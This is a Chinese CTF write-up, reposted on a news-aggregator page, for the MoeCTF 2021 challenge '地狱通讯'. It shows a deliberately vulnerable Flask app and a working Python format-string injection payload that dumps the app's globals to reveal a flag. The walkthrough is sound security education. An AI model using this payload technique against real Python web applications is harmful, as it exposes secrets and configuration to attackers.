最新要闻

广告

手机

iphone11大小尺寸是多少?苹果iPhone11和iPhone13的区别是什么?

iphone11大小尺寸是多少?苹果iPhone11和iPhone13的区别是什么?

警方通报辅警执法直播中被撞飞:犯罪嫌疑人已投案

警方通报辅警执法直播中被撞飞:犯罪嫌疑人已投案

家电

全球微动态丨[MoeCTF 2021]地狱通讯

来源:博客园


【资料图】

[MoeCTF 2021]地狱通讯

首先看题:

from flask import Flask, render_template, requestfrom flag import flag, FLAG   //这里flag是一个全局变量import datetimeapp = Flask(__name__)@app.route("/", methods=["GET", "POST"])def index():    f = open("app.py", "r")    ctx = f.read()    f.close()    f1ag = request.args.get("f1ag") or ""    exp = request.args.get("exp") or ""    flAg = FLAG(f1ag)    message = "Your flag is {0}" + exp    if exp == "":        return ctx    else:        return message.format(flAg)if __name__ == "__main__":    app.run()

首先看代码get请求传入f1ag和exp并且将f1ag传入FLAG函数里面,并且将FLAG的返回值f1Ag与exp拼接存在message变量里,如果exp存在值的话就返回拼接后的字符串。

我们知道format会把f1Ag的值带入到变量message"Your flag is {0}"中的{0},所以我们让exp中也有一个{0},这样就可以将f1Ag中的值代入进去,然后找到他的所属类,然后找到FLAG中的全局变量flag。与下图所示类似:

payload:?f1ag=1&exp={0.__class__.__init__.__globals__} //这里注意必须是0才可以,因为只有一个f1Ag的值往进传,所以前后必须是一样的,如果为其他数字的话需要俩个变量往进传。

参考文章:https://yanluow.github.io/2020/02/29/python%E6%A0%BC%E5%BC%8F%E5%8C%96%E5%AD%97%E7%AC%A6%E4%B8%B2%E7%A0%94%E7%A9%B6/#Flask%E4%B8%8B%E8%AF%BB%E5%8F%96secret-key

关键词: